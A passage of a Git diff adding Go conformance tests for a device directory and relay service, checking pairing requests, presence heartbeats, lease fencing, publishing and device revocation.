o.Code, j.approval(big)), directory.ErrTooBig) +} + +func denyThenApproveIsDecided(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestDenied || got.Grant != nil { + t.Fatalf("after deny = %+v", got) + } + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ")), directory.ErrAlreadyDecided) +} + +func denyIsIdempotent(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + must(t, r.Devices(devB).DenyRequest(ctx, o.Code)) +} + +func approveUnknownIsGone(t *testing.T, r PairingRig) { + j := newJoiner(t) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, "zzzzzzzz", j.approval("Z3JhbnQ")), directory.ErrRequestGone) + wantErr(t, r.Devices(devA).DenyRequest(ctx, "zzzzzzzz"), directory.ErrRequestGone) +} + +func revokedApproverIsRefused(t *testing.T, r PairingRig) { + must(t, r.Devices(devA).PutDevice(ctx, devA, directory.Device{V: 1})) + must(t, r.Devices(devB).PutDevice(ctx, devB, directory.Device{V: 1})) + must(t, r.Devices(devA).Revoke(ctx, devB)) + j := newJoiner(t) + o := ask(t, r, j) + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ")), directory.ErrRevoked) + wantErr(t, r.Devices(devB).DenyRequest(ctx, o.Code), directory.ErrRevoked) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) +} + +func requestExpires(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + r.Clock.Wait(10*time.Minute + time.Second) + _, err := r.Requests.GetRequest(ctx, o.Code, 0) + wantErr(t, err, directory.ErrRequestGone) + wantErr(t, r.Devices(devA).DenyRequest(ctx, o.Code), directory.ErrRequestGone) +} + +func decidedIsKeptTwoMinutes(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + r.Clock.Wait(time.Minute + 50*time.Second) + _, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + r.Clock.Wait(20 * time.Second) + _, err = r.Requests.GetRequest(ctx, o.Code, 0) + wantErr(t, err, directory.ErrRequestGone) +} + +func waitWakes(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + got := make(chan error, 1) + var rec directory.Request + go func() { + var err error + rec, err = r.Requests.GetRequest(ctx, o.Code, 20*time.Second) + got <- err + }() + time.Sleep(100 * time.Millisecond) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + select { + case err := <-got: + must(t, err) + if rec.State != directory.RequestApproved { + t.Fatalf("woke with %s", rec.State) + } + case <-time.After(5 * time.Second): + t.Fatal("a decision did not wake the waiting read") + } +} + +func waitEnds(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + _, err := r.Requests.GetRequest(ctx, o.Code, 100*time.Millisecond) + wantErr(t, err, directory.ErrStillPending) +} + +func threePending(t *testing.T, r PairingRig) { + for range 3 { + ask(t, r, newJoiner(t)) + } + _, err := r.Requests.CreateRequest(ctx, newJoiner(t).req) + wantErr(t, err, wireauth.ErrRateLimited) +} + +func tenPerHour(t *testing.T, r PairingRig) { + for range 10 { + must(t, r.Devices(devA).DenyRequest(ctx, ask(t, r, newJoiner(t)).Code)) + } + _, err := r.Requests.CreateRequest(ctx, newJoiner(t).req) + wantErr(t, err, wireauth.ErrRateLimited) + if errors.Is(err, wireauth.ErrRateLimited) && wireauth.After(err) <= 0 { + t.Fatal("a rate limit must say when to retry") + } + r.Clock.Wait(time.Hour + time.Second) + ask(t, r, newJoiner(t)) +} + +func putDeviceIgnoresRelayFields(t *testing.T, r PairingRig) { + c := r.Devices(devA) + must(t, c.PutDevice(ctx, devA, directory.Device{V: 1, Name: "a", Created: 5, LastSeen: 5})) + first, err := c.List(ctx) + must(t, err) + r.Clock.Wait(time.Minute) + must(t, c.PutDevice(ctx, devA, directory.Device{V: 1, Name: "b", Created: 9, LastSeen: 9, Platform: "darwin"})) + second, err := c.List(ctx) + must(t, err) + got := second.Devices[devA] + if got.Created != first.Now || got.LastSeen != 0 || got.Name != "b" || got.Platform != "darwin" { + t.Fatalf("device = %+v, want created %d, last_seen 0, new name and platform", got, first.Now) + } +} diff --git a/internal/directory/directorytest/presencecases.go b/internal/directory/directorytest/presencecases.go new file mode 100644 index 0000000000..91a207afef --- /dev/null +++ b/internal/directory/directorytest/presencecases.go @@ -0,0 +1,246 @@ +package directorytest + +import ( + "context" + "encoding/json" + "net/http" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// The numbers the presence cases run on. A device under test declares a beat of +// two seconds, so its window is five and a case that waits lapseWait (the window +// and a second of slack) sees it lapsed. The viewer is a device that must stay +// live for the whole case, so it declares the longest beat there is. +const ( + deviceBeatQuery = "beat=2" + viewerQuery = "beat=60&events=1" + lapseWait = 6 * time.Second +) + +// presenceCases are the named rows of section 21.12 of the contract that a relay +// proves; the client's rows are proved where the client lives. +var presenceCases = map[string]func(watchEnv){ + "FrozenDeviceGoesOffline": frozenDeviceGoesOffline, + "LapsedSocketClosesSilent": lapsedSocketClosesSilent, + "PingingDeviceStaysOnline": pingingDeviceStaysOnline, + "ReturnAnnouncesOnline": returnAnnouncesOnline, + "PresenceReadAppliesWindow": presenceReadAppliesWindow, + "OneLiveSocketKeepsOnline": oneLiveSocketKeepsOnline, + "LegacyWindowIs75s": legacyWindowIs75s, + "BadBeatIsRefused": badBeatIsRefused, + "LapsedDeviceAnnouncedOnce": lapsedDeviceAnnouncedOnce, + "LapseStampsLastSeenOnly": lapseStampsLastSeenOnly, + "UpgradeAnnouncesPresence": upgradeAnnouncesPresence, +} + +// RunPresence runs every presence case of the contract (section 21.12) against +// a fresh rig each. They wait on the rig's clock, so a fake clock makes them +// instant and a live relay takes the five-second window of the beat they declare. +func RunPresence(t *testing.T, factory WatchRigFactory) { + for name, fn := range presenceCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// dialQuery dials the watch route as device with a raw query, unopened. +func (w watchEnv) dialQuery(device, query string) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := dialWatchQuery(dialCtx, w.rig.Base, w.rig.Sign(device), query) + if err != nil { + w.t.Fatalf("watch dial %q: %v (%s)", query, err, describe(resp)) + } + s := startSock(w.t, conn) + s.resp = resp + return s +} + +// viewer opens the events socket of a device that stays live, as the home screen does. +func (w watchEnv) viewer() *sock { return w.dialQuery(devB, viewerQuery).opened() } + +// device opens a socket of device A that has promised to ping every two seconds. +func (w watchEnv) device(query string) *sock { return w.dialQuery(devA, query).opened() } + +// watched is a viewer and a device A that will go silent, with the viewer +// having heard A arrive. +func (w watchEnv) watched() (viewer, frozen *sock) { + w.t.Helper() + w.enrol() + viewer = w.viewer() + frozen = w.device(deviceBeatQuery) + viewer.wantPresence(w.env.id(devA), true) + return viewer, frozen +} + +// enrol records device A, which the presence route lists only once the +// directory knows it, and device B, which reads it. +func (w watchEnv) enrol() { + w.t.Helper() + for _, d := range []string{devA, devB} { + must(w.t, w.dirAs(d).PutDevice(ctx, w.env.id(d), directory.Device{V: 1, Name: d[:5]})) + } +} + +// wantPresence asserts the next delivery is the presence event of device. +func (s *sock) wantPresence(device string, online bool) { + s.t.Helper() + text := s.text() + var e dirwatch.Event + if err := json.Unmarshal([]byte(text), &e); err != nil || e.T != dirwatch.EventPresence || + e.Device != device || e.Online == nil || *e.Online != online { + s.t.Fatalf("frame %q, want presence online=%v of %s", text, online, device) + } +} + +// wantOnline asserts what the presence route says about device A, read by device B. +func (w watchEnv) wantOnline(online bool) { + w.t.Helper() + v, err := w.dirAs(devB).Presence(ctx) + must(w.t, err) + if got := v.Devices[w.env.id(devA)].Online; got != online { + w.t.Fatalf("presence lists device A online=%v, want %v", got, online) + } +} + +// A device that stops pinging is announced offline once its window passes. +func frozenDeviceGoesOffline(w watchEnv) { + viewer, _ := w.watched() + w.wantOnline(true) + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + w.wantOnline(false) +} + +// The socket of the lapsed device is told to redial. +func lapsedSocketClosesSilent(w watchEnv) { + _, frozen := w.watched() + w.env.clock.Wait(lapseWait) + frozen.wantClosed(directory.CloseSilent, "silent") +} + +// A device that pings every beat stays online for far longer than the window. +func pingingDeviceStaysOnline(w watchEnv) { + viewer, device := w.watched() + for range 3 { + w.env.clock.Wait(2 * time.Second) + device.ping() + } + viewer.wantSilent() + w.wantOnline(true) +} + +// A device that comes back after it was announced offline is announced online at once. +func returnAnnouncesOnline(w watchEnv) { + viewer, _ := w.watched() + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + w.device(deviceBeatQuery) + viewer.wantPresence(w.env.id(devA), true) + w.wantOnline(true) +} + +// The presence route applies the window with nobody watching and no alarm set. +func presenceReadAppliesWindow(w watchEnv) { + w.enrol() + w.device(deviceBeatQuery) + w.wantOnline(true) + w.env.clock.Wait(lapseWait) + w.wantOnline(false) +} + +// One live socket keeps its device online, and a stale sibling announces nothing. +func oneLiveSocketKeepsOnline(w watchEnv) { + viewer, _ := w.watched() + live := w.device(deviceBeatQuery) + for range 2 { + w.env.clock.Wait(2 * time.Second) + live.ping() + } + w.env.clock.Wait(2 * time.Second) + viewer.wantSilent() + w.wantOnline(true) +} + +// A socket that declares no beat is a client from before presence: it has 75 +// seconds. That is 75 seconds of the rig's clock, so only a fake clock runs it. +func legacyWindowIs75s(w watchEnv) { + if _, fake := w.rig.Clock.(*FakeClock); !fake { + w.t.Skip("the legacy window is 75 s of the relay's own clock; the in-process relay proves it on a fake clock") + } + w.enrol() + viewer := w.viewer() + w.dialQuery(devA, "").opened() + viewer.wantPresence(w.env.id(devA), true) + w.env.clock.Wait(60 * time.Second) + w.wantOnline(true) + viewer.wantSilent() + w.env.clock.Wait(16 * time.Second) + viewer.wantPresence(w.env.id(devA), false) + w.wantOnline(false) +} + +// A beat outside 1..60, one that is not a plain decimal and two different beats +// are refused before the upgrade; the edges and one beat twice are accepted. +func badBeatIsRefused(w watchEnv) { + for _, q := range []string{"beat=0", "beat=61", "beat=x", "beat=", "beat=-1", "beat=%2B5", "beat=1.5", "beat=5&beat=6"} { + w.wantHoldQuery(q, http.StatusBadRequest) + } + for _, q := range []string{"beat=1", "beat=60", "beat=5&beat=5"} { + w.wantHoldQuery(q, http.StatusSwitchingProtocols) + } +} + +// A lapsed device is announced once: its stale socket closing starts no gap. A +// fake clock waits out the 15 s gap; a live relay is only given the quiet window. +func lapsedDeviceAnnouncedOnce(w watchEnv) { + viewer, frozen := w.watched() + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + frozen.wantClosed(directory.CloseSilent, "silent") + if _, fake := w.rig.Clock.(*FakeClock); fake { + w.env.clock.Wait(directory.OfflineDebounce + time.Second) + } + viewer.wantSilent() +} + +// The lapse stamps last_seen with the device's last sign of life and moves no version. +func lapseStampsLastSeenOnly(w watchEnv) { + id := w.env.id(devA) + w.enrol() + viewer := w.viewer() + device := w.device(deviceBeatQuery) + viewer.wantPresence(id, true) + w.env.clock.Wait(2 * time.Second) + before := w.env.clock.Now() + device.ping() + after := w.env.clock.Now() + version := w.listVersion(devB) + w.env.clock.Wait(lapseWait) + viewer.wantPresence(id, false) + l, err := w.dirAs(devB).List(ctx) + must(w.t, err) + if got := l.Devices[id].LastSeen; got < before.UnixMilli() || got > after.UnixMilli() { + w.t.Fatalf("last_seen %d, want the ping's time in [%d, %d]", got, before.UnixMilli(), after.UnixMilli()) + } + if got := w.listVersion(devB); got != version { + w.t.Fatalf("list version %d after the lapse, want %d", got, version) + } +} + +// The 101 carries Codeaf-Presence whether or not the socket declared a beat. +func upgradeAnnouncesPresence(w watchEnv) { + for _, q := range []string{"", deviceBeatQuery} { + s := w.dialQuery(devA, q) + if got := s.resp.Header.Get(directory.PresenceHeader); got != "1" { + w.t.Fatalf("101 answer has %s=%q for query %q, want 1", directory.PresenceHeader, got, q) + } + } +} diff --git a/internal/directory/directorytest/run.go b/internal/directory/directorytest/run.go new file mode 100644 index 0000000000..c096c07de8 --- /dev/null +++ b/internal/directory/directorytest/run.go @@ -0,0 +1,689 @@ +package directorytest + +import ( + "context" + "errors" + "fmt" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Devices returns the Client one device would hold. Every Client it returns +// shares one directory and the clock the factory was given. +type Devices func(device string) directory.Client + +// Factory builds a fresh, empty directory that reads time from clock. +type Factory func(t *testing.T, clock *FakeClock) Devices + +type env struct { + clock Clock + as Devices + id func(name string) string // the device id the directory knows a named device by +} + +// Rig is one fresh, empty directory as a suite sees it. A live relay decides +// device ids from keys and keeps its own clock, so a Rig carries both. +type Rig struct { + Clock Clock + Devices Devices + // ID answers the device id a named device acts as; nil means the name is the id. + ID func(name string) string +} + +// RigFactory builds a fresh Rig for one test. +type RigFactory func(t *testing.T) Rig + +const ( + cell = "01J0000000000000000000000A" + devA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + devB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + head = "1111111111111111111111111111111111111111111111111111111111111111" + next = "2222222222222222222222222222222222222222222222222222222222222222" + f1 = "3333333333333333333333333333333333333333333333333333333333333333" + f2 = "4444444444444444444444444444444444444444444444444444444444444444" + f3 = "5555555555555555555555555555555555555555555555555555555555555555" +) + +var ctx = context.Background() + +// Run runs every conformance case against a fresh directory from factory, on a +// clock that moves only when a case waits. +func Run(t *testing.T, factory Factory) { + RunRigs(t, func(t *testing.T) Rig { + clock := NewFakeClock() + return Rig{Clock: clock, Devices: factory(t, clock)} + }) +} + +// RunRigs runs every conformance case against a fresh Rig each. +func RunRigs(t *testing.T, factory RigFactory) { + for name, fn := range cases { + t.Run(name, func(t *testing.T) { fn(t, envOf(factory(t))) }) + } +} + +func envOf(r Rig) env { + id := r.ID + if id == nil { + id = func(name string) string { return name } + } + return env{clock: r.Clock, as: r.Devices, id: id} +} + +var cases = map[string]func(*testing.T, env){ + "CreateHoldsLease": createHoldsLease, + "CreateExists": createExists, + "CellNotFound": cellNotFound, + "AcquireRefusedWhileHeld": acquireRefusedWhileHeld, + "AcquireAfterExpiry": acquireAfterExpiry, + "AcquireOwnLeaseRaisesFence": acquireOwnLeaseRaisesFence, + "ForcedAcquireBeatsLiveLease": forcedAcquireBeatsLiveLease, + "HeartbeatRenews": heartbeatRenews, + "LateHeartbeatSameFence": lateHeartbeatSameFence, + "HeartbeatWrongFenceRefused": heartbeatWrongFenceRefused, + "PublishMovesHead": publishMovesHead, + "CreateStoresFrames": createStoresFrames, + "PublishReplacesFrames": publishReplacesFrames, + "PublishWithoutFramesClears": publishWithoutFramesClears, + "CellAnswerCarriesFrames": cellAnswerCarriesFrames, + "ListAnswerOmitsFrames": listAnswerOmitsFrames, + "PublishRenewsLease": publishRenewsLease, + "PublishKeepsTitleWhenEmpty": publishKeepsTitleWhenEmpty, + "PublishStaleOldHeadRefused": publishStaleOldHeadRefused, + "PublishAfterTakeoverRefused": publishAfterTakeoverRefused, + "ReleaseFreesLeaseKeepsFence": releaseFreesLeaseKeepsFence, + "ReleaseStaleRefused": releaseStaleRefused, + "ArchiveIsIdempotent": archiveIsIdempotent, + "PutDeviceUpserts": putDeviceUpserts, + "RenameReachesSiblingDevices": renameReachesSiblingDevices, + "SetVaultIsCompareAndSwap": setVaultIsCompareAndSwap, + "DirectoryClockStampsEverything": directoryClockStampsEverything, + "ConcurrentAcquireOneWins": concurrentAcquireOneWins, + "DeviceRevokedIsRefused": deviceRevokedIsRefused, + "RevokeRefusesSelfAndUnknown": revokeRefusesSelfAndUnknown, + "RevokeIsIdempotent": revokeIsIdempotent, + "RotationStatus": rotationStatus, + "RotationFreezeRefusesWrites": rotationFreezeRefusesWrites, + "RotationThawRestores": rotationThawRestores, + "RotationRetireNeedsFreeze": rotationRetireNeedsFreeze, + "RotationRetireBounds": rotationRetireBounds, + "RotationFirstFreezerWins": rotationFirstFreezerWins, + "RotationRetiredIsForever": rotationRetiredIsForever, + "RevokedCannotRotate": revokedCannotRotate, +} + +func start(t *testing.T, e env) directory.CellView { + t.Helper() + v, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(t, err) + return v +} + +func expire(e env) { e.clock.Wait(directory.LeaseTTL + time.Second) } + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func wantErr(t *testing.T, err, want error) { + t.Helper() + if !errors.Is(err, want) { + t.Fatalf("error = %v, want %v", err, want) + } +} + +func get(t *testing.T, e env) directory.Cell { + t.Helper() + v, err := e.as(devA).Cell(ctx, cell) + must(t, err) + return v.Cell +} + +func createHoldsLease(t *testing.T, e env) { + v := start(t, e) + l := v.Cell.Lease + if l.Device != e.id(devA) || l.Fence != 1 || l.Expires != v.Now+directory.LeaseTTL.Milliseconds() { + t.Fatalf("lease = %+v at now %d", l, v.Now) + } + if v.Cell.DurableAt != v.Now || v.Cell.Head != head { + t.Fatalf("cell = %+v", v.Cell) + } +} + +func createExists(t *testing.T, e env) { + start(t, e) + _, err := e.as(devB).Create(ctx, cell, directory.CellInit{Head: next}) + wantErr(t, err, directory.ErrExists) +} + +func cellNotFound(t *testing.T, e env) { + _, err := e.as(devA).Cell(ctx, cell) + wantErr(t, err, directory.ErrNotFound) + _, err = e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + wantErr(t, err, directory.ErrNotFound) +} + +func acquireRefusedWhileHeld(t *testing.T, e env) { + start(t, e) + _, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + wantErr(t, err, directory.ErrLeaseHeld) +} + +func acquireAfterExpiry(t *testing.T, e env) { + start(t, e) + expire(e) + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Device != e.id(devB) || v.Cell.Lease.Fence != 2 || v.Cell.Lease.Pending != 0 { + t.Fatalf("lease = %+v", v.Cell.Lease) + } +} + +func acquireOwnLeaseRaisesFence(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", v.Cell.Lease.Fence) + } +} + +// forcedAcquireBeatsLiveLease: a person who continues a chat where it runs now +// takes the lease at once, and the displaced holder is refused as in L7. +func forcedAcquireBeatsLiveLease(t *testing.T, e env) { + start(t, e) + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true}) + must(t, err) + if l := v.Cell.Lease; l.Device != e.id(devB) || l.Fence != 2 || l.Pending != 0 { + t.Fatalf("lease = %+v", l) + } + _, err = e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) +} + +func heartbeatRenews(t *testing.T, e env) { + start(t, e) + e.clock.Wait(directory.HeartbeatEvery) + v, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1, Pending: 3}) + must(t, err) + if v.Cell.Lease.Expires != v.Now+directory.LeaseTTL.Milliseconds() || v.Cell.Lease.Pending != 3 { + t.Fatalf("lease = %+v at now %d", v.Cell.Lease, v.Now) + } +} + +func lateHeartbeatSameFence(t *testing.T, e env) { + start(t, e) + expire(e) + v, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(t, err) + if v.Cell.Lease.Expires <= v.Now { + t.Fatalf("lease not renewed: %+v at now %d", v.Cell.Lease, v.Now) + } +} + +func heartbeatWrongFenceRefused(t *testing.T, e env) { + start(t, e) + _, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 9}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devB).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) +} + +func publishMovesHead(t *testing.T, e env) { + start(t, e) + e.clock.Wait(time.Second) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{ + Fence: 1, OldHead: head, Head: next, Size: 20, Class: "chat", Title: "u", Pending: 2, + }) + must(t, err) + c := v.Cell + if c.Head != next || c.Size != 20 || c.Title != "u" || c.Lease.Pending != 2 || c.DurableAt != v.Now { + t.Fatalf("cell = %+v at now %d", c, v.Now) + } +} + +// publishRenewsLease: a publish is proof of life, so a holder that publishes +// often never needs a heartbeat. +func publishRenewsLease(t *testing.T, e env) { + start(t, e) + e.clock.Wait(directory.HeartbeatEvery) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + must(t, err) + if want := v.Now + directory.LeaseTTL.Milliseconds(); v.Cell.Lease.Expires != want { + t.Fatalf("expires = %d, want %d", v.Cell.Lease.Expires, want) + } +} + +// The frames are the publisher's plan of where the head's closure lives: create +// sets them, every publish replaces them wholesale, the cell answer carries +// them and the list answer omits them (§22.2). +func createStoresFrames(t *testing.T, e env) { + v, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1, f2}}) + must(t, err) + if got := v.Cell.Frames; len(got) != 2 || got[0] != f1 || got[1] != f2 { + t.Fatalf("frames = %v, want [%s %s]", got, f1, f2) + } +} + +func publishReplacesFrames(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Frames: []string{f2, f3}}) + must(t, err) + if got := v.Cell.Frames; len(got) != 2 || got[0] != f2 || got[1] != f3 { + t.Fatalf("frames = %v, want [%s %s]", got, f2, f3) + } +} + +func publishWithoutFramesClears(t *testing.T, e env) { + start(t, e) + if _, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: next, Head: head}) + must(t, err) + if len(v.Cell.Frames) != 0 { + t.Fatalf("frames = %v, want none", v.Cell.Frames) + } +} + +func cellAnswerCarriesFrames(t *testing.T, e env) { + if _, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + c := get(t, e) + if len(c.Frames) != 1 || c.Frames[0] != f1 { + t.Fatalf("frames = %v, want [%s]", c.Frames, f1) + } +} + +func listAnswerOmitsFrames(t *testing.T, e env) { + if _, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + l, err := e.as(devA).List(ctx) + must(t, err) + if got := l.Cells[cell].Frames; len(got) != 0 { + t.Fatalf("list frames = %v, want none", got) + } +} + +func publishKeepsTitleWhenEmpty(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + must(t, err) + if v.Cell.Title != "t" { + t.Fatalf("title = %q, want t", v.Cell.Title) + } +} + +func publishStaleOldHeadRefused(t *testing.T, e env) { + start(t, e) + _, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: next, Head: next}) + wantErr(t, err, directory.ErrHeadMoved) + if got := get(t, e).Head; got != head { + t.Fatalf("head moved to %s", got) + } +} + +// publishAfterTakeoverRefused is law L7: a superseded holder can neither move +// the head nor renew, and the new holder can. +func publishAfterTakeoverRefused(t *testing.T, e env) { + start(t, e) + expire(e) + b, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if b.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", b.Cell.Lease.Fence) + } + _, err = e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) + if got := get(t, e).Head; got != head { + t.Fatalf("head moved under a stale fence to %s", got) + } + _, err = e.as(devB).Publish(ctx, cell, directory.Publish{Fence: 2, OldHead: head, Head: next}) + must(t, err) +} + +func releaseFreesLeaseKeepsFence(t *testing.T, e env) { + start(t, e) + must(t, e.as(devA).Release(ctx, cell, 1)) + l := get(t, e).Lease + if l.Expires != 0 || l.Pending != 0 || l.Fence != 1 || l.Device != e.id(devA) { + t.Fatalf("lease = %+v", l) + } + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", v.Cell.Lease.Fence) + } +} + +func releaseStaleRefused(t *testing.T, e env) { + start(t, e) + wantErr(t, e.as(devA).Release(ctx, cell, 7), directory.ErrFenceStale) + wantErr(t, e.as(devB).Release(ctx, cell, 1), directory.ErrFenceStale) +} + +func archiveIsIdempotent(t *testing.T, e env) { + start(t, e) + must(t, e.as(devA).Archive(ctx, cell)) + must(t, e.as(devA).Archive(ctx, cell)) + if !get(t, e).Archived { + t.Fatal("cell not archived") + } + wantErr(t, e.as(devA).Archive(ctx, "missing"), directory.ErrNotFound) +} + +func putDeviceUpserts(t *testing.T, e env) { + c := e.as(devA) + must(t, c.PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "one"})) + must(t, c.PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "two"})) + l, err := c.List(ctx) + must(t, err) + if len(l.Devices) != 1 || l.Devices[e.id(devA)].Name != "two" { + t.Fatalf("devices = %+v", l.Devices) + } +} + +// renameReachesSiblingDevices: a device that renames itself is a second PutDevice +// of its own record, with no verb of its own, so an older client and an older +// relay carry a rename already. The sibling sees the new name on its next list, +// the renamed device keeps what the relay alone writes (when it joined, whether +// it is stopped), and the sibling's own record is not touched. +func renameReachesSiblingDevices(t *testing.T, e env) { + twoDevices(t, e) + before, err := e.as(devB).List(ctx) + must(t, err) + must(t, e.as(devA).PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "renamed"})) + after, err := e.as(devB).List(ctx) + must(t, err) + renamed, sibling := after.Devices[e.id(devA)], after.Devices[e.id(devB)] + if renamed.Name != "renamed" || renamed.Created != before.Devices[e.id(devA)].Created || renamed.Revoked { + t.Fatalf("renamed device = %+v, before %+v", renamed, before.Devices[e.id(devA)]) + } + if sibling.Name != devB { + t.Fatalf("the sibling's own record changed: %+v", sibling) + } +} + +func setVaultIsCompareAndSwap(t *testing.T, e env) { + c := e.as(devA) + must(t, c.SetVault(ctx, "", "rid1")) + wantErr(t, c.SetVault(ctx, "", "rid2"), directory.ErrCAS) + must(t, c.SetVault(ctx, "rid1", "rid2")) + l, err := c.List(ctx) + must(t, err) + if l.Identity.Vault != "rid2" { + t.Fatalf("vault = %q", l.Identity.Vault) + } +} + +// directoryClockStampsEverything: devices never send a time, so every time in +// a record is the directory clock's. The clock is read before and after, so a +// clock that keeps moving is held to "between the two" and a fake to "exactly". +func directoryClockStampsEverything(t *testing.T, e env) { + e.clock.Wait(time.Second) + before := e.clock.Now().UnixMilli() + v := start(t, e) + l, err := e.as(devA).List(ctx) + must(t, err) + after := e.clock.Now().UnixMilli() + if v.Cell.DurableAt != v.Now || v.Now < before || l.Now < v.Now || l.Now > after { + t.Fatalf("now %d, durable_at %d, list now %d, want %d..%d", v.Now, v.Cell.DurableAt, l.Now, before, after) + } +} + +func concurrentAcquireOneWins(t *testing.T, e env) { + const racers = 50 + start(t, e) + expire(e) + errs := make(chan error, racers) + var wg sync.WaitGroup + for i := range racers { + wg.Add(1) + go func() { + defer wg.Done() + _, err := e.as(fmt.Sprintf("dev_%032x", i+1)).Acquire(ctx, cell, directory.AcquireOpts{}) + errs <- err + }() + } + wg.Wait() + close(errs) + tally(t, errs, racers) + if got := get(t, e).Lease.Fence; got != 2 { + t.Fatalf("fence = %d, want exactly 2", got) + } +} + +// tally checks that exactly one racer won and every other was told the lease +// is held. +func tally(t *testing.T, errs <-chan error, racers int) { + t.Helper() + won, held := 0, 0 + for err := range errs { + switch { + case err == nil: + won++ + case errors.Is(err, directory.ErrLeaseHeld): + held++ + default: + t.Errorf("unexpected error: %v", err) + } + } + if won != 1 || held != racers-1 { + t.Fatalf("won %d, held %d of %d", won, held, racers) + } +} + +// twoDevices records devA and devB as devices of one identity. +func twoDevices(t *testing.T, e env) { + t.Helper() + for _, d := range []string{devA, devB} { + must(t, e.as(d).PutDevice(ctx, e.id(d), directory.Device{V: 1, Name: d})) + } +} + +// deviceRevokedIsRefused: once A revokes B, B is refused on every verb, A goes +// on as before, and the record and the listing both say B is stopped. +func deviceRevokedIsRefused(t *testing.T, e env) { + start(t, e) + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + + b := e.as(devB) + _, listErr := b.List(ctx) + _, cellErr := b.Cell(ctx, cell) + _, createErr := b.Create(ctx, "01J0000000000000000000000B", directory.CellInit{Head: head}) + _, acquireErr := b.Acquire(ctx, cell, directory.AcquireOpts{}) + _, beatErr := b.Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + _, publishErr := b.Publish(ctx, 